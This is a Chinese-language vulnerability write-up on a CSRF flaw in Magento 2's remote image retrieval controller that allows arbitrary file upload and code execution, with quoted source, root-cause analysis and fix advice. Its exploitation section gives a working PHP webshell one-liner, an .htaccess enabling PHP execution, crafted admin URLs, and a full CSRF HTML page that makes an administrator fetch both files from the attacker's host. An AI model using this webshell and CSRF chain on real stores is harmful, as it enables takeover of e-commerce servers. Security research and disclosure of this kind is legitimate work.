概述

国外安全公司DefenseCode研究人员发现了Magento2的一个CSRF漏洞,成功利用该漏洞可以导致任意文件上传进而实现任意代码执行。厂商至今仍未修复该漏洞。

漏洞原因

Magento是一套专业开源的电子商务系统,可以在github上clone下代码进行代码审计及漏洞挖掘。本文要说的这个CSRF漏洞是在管理员添加产品时程序会自动请求URL中的图片链接参数remote_image,保存至本地目录并进行预览。漏洞发生在程序\app\code\Magento\ProductVideo\Controller\Adminhtml\Product\Gallery\RetrieveImage.php文件execute函数中,代码如下:

public function execute()
    {
        $baseTmpMediaPath = $this->mediaConfig->getBaseTmpMediaPath();//返回路径为pub/media/tmp/catalog/product/
        try {
            $remoteFileUrl = $this->getRequest()->getParam('remote_image');
            $this->validateRemoteFile($remoteFileUrl);//验证url的协议头是否为http及https
            $originalFileName = basename($remoteFileUrl);//获取文件名称
            $localFileName = Uploader::getCorrectFileName($originalFileName);//对文件名特殊字符进行处理,返回处理后的文件名
            $localTmpFileName = Uploader::getDispretionPath($localFileName) . DIRECTORY_SEPARATOR . $localFileName;//getDispretionPath函数以文件名前两个字母作为两个目录名称
            $localFileMediaPath = $baseTmpMediaPath . ($localTmpFileName);//拼接完整文件路径
            $localUniqueFileMediaPath = $this->appendNewFileName($localFileMediaPath);//创建目录
            $this->retrieveRemoteImage($remoteFileUrl, $localUniqueFileMediaPath);//请求文件并保存
            $localFileFullPath = $this->appendAbsoluteFileSystemPath($localUniqueFileMediaPath);//返回完整路径
            $this->imageAdapter->validateUploadFile($localFileFullPath);//校验文件目录,并判断文件类型是否为图片类型。如果不是抛出异常
            $result = $this->appendResultSaveRemoteImage($localUniqueFileMediaPath);//校验通过则返回文件详细信息
        } catch (\Exception $e) {
            $result = ['error' => $e->getMessage(), 'errorcode' => $e->getCode()];
        }

        /** @var \Magento\Framework\Controller\Result\Raw $response */
        $response = $this->resultRawFactory->create();
        $response->setHeader('Content-type', 'text/plain');
        $response->setContents(json_encode($result));
        return $response;
    }

代码通过获取'remoteimage'的参数值,这里只判断了链接协议是否为HTTP及HTTPS,并未对文件类型及后缀进行判断。得到图片链接地址并以文件前两个字母作为两个目录名称,创建目录并请求文件以原文件名保存到在创建的目录中。最后在校验保存的文件时,如果传入的文件链接不是图片类型,则抛出异常。形如: {"error":"Disallowed file type.","errorcode":0} 其中getDispretionPath函数的代码在\lib\internal\Magento\Framework\File\Uploader.php文件614行,从代码实现可以看到获取了文件名前两个字母分别作为目录,并且如果字母为'.'时则替换为'',代码如下:

public static function getDispretionPath($fileName)
    {
        $char = 0;
        $dispertionPath = '';
        while ($char < 2 && $char < strlen($fileName)) {
            if (empty($dispertionPath)) {
                $dispertionPath = '/' . ('.' == $fileName[$char] ? '_' : $fileName[$char]);
            } else {
                $dispertionPath = self::_addDirSeparator(
                    $dispertionPath
                ) . ('.' == $fileName[$char] ? '_' : $fileName[$char]);
            }
            $char++;
        }
        return $dispertionPath;
    }

retrieveRemoteImage函数调用封装的curl方法请求图片链接并保存到指定目录,其中也未做任何判断及处理,代码如下:

protected function retrieveRemoteImage($fileUrl, $localFilePath)
    {
        $this->curl->setConfig(['header' => false]);
        $this->curl->write('GET', $fileUrl);
        $image = $this->curl->read();
        if (empty($image)) {
            throw new \Magento\Framework\Exception\LocalizedException(
                __('Could not get preview image information. Please check your connection and try again.')
            );
        }
        $this->fileUtility->saveFile($localFilePath, $image);
    }

校验目录及文件类型的函数validateUploadFile在lib\internal\Magento\Framework\Image\Adapter\AbstractAdapter.php文件711行,代码如下:

public function validateUploadFile($filePath)
    {
        if (!file_exists($filePath)) {
            throw new \InvalidArgumentException("File '{$filePath}' does not exists.");
        }
        if (!getimagesize($filePath)) {
            throw new \InvalidArgumentException('Disallowed file type.');
        }
        $this->checkDependencies();
        $this->open($filePath);

        return $this->getImageType() !== null;
    }

虽然这里对目录及文件类型进行了校验,对于非图片类型的文件也抛出异常。但此时程序已经请求了链接并保存到本地目录中。从而实现了任意文件上传的目的。

漏洞利用

在说这个漏洞利用之前先了解下CSRF。CSRF(Cross-Site Request Forgery,跨站点伪造请求),攻击者构造特定请求功能的链接诱使通过认证的真正用户或管理员点击。从而实现以受害者名义伪造请求,在未授权的情况下执行在权限保护之下的操作。 利用这个漏洞的思路就是通过构造请求,让登录用户访问,从而实现上传php文件并执行。但是上面分析也说道程序下载的文件保存在了pub/media/tmp/catalog/product/+文件名第一个字母/文件名第二个字母/文件名。tmp目录php文件并不会被解析,所以这里上传webshell的同时要在同一目录上传一个.htaccess文件。 .htaccess开启这个目录的PHP解析。内容如下: php_flag engine 1

phpflag设置可参考http://www.php.net/manual/zh/apache.configuration.php 在上传.htaccess文件时。该文件会保存为pub/media/tmp/catalog/product//h/.htaccess 所以php程序名称应以.h开头,如.hcmd.php,如:

<?php assert($_GET[stride]);?>

然后构造请求,如 http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.htaccesshttp://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.hcmd.php

待管理员访问了上述链接后即可使用 http://10.65.10.195/magento2/pub/media/tmp/catalog/product/_/h/.hcmd.php访问webshell。

伪造请求页面

<html>
<head> 
<title>Magento2(CSRF)</title> 
</head>
<body>

<h2>Magento2 CSRF TEST</h2>
<img src="http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.htaccess">

<h3>Magento2 CSRF TEST</h3>
<img src="http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.hcmd.php">

</body>
</html>

修复建议

这个漏洞主要有两个地方设计和实现的不够合理,所以代码的修复也会在两个地方进行修改:

  • CSRF的修复,增加对refer的检测或使用Token防御CSRF攻击
  • 在请求预览图片时先校验文件及类型的合法性,然后再保存

参考

[1] http://www.defensecode.com/advisories/DC-2017-04-003_Magento_Arbitrary_File_Upload.pdf [2] http://www.php.net/manual/zh/apache.configuration.php [3] http://www.freebuf.com/articles/web/55965.html

源链接

Hacking more

...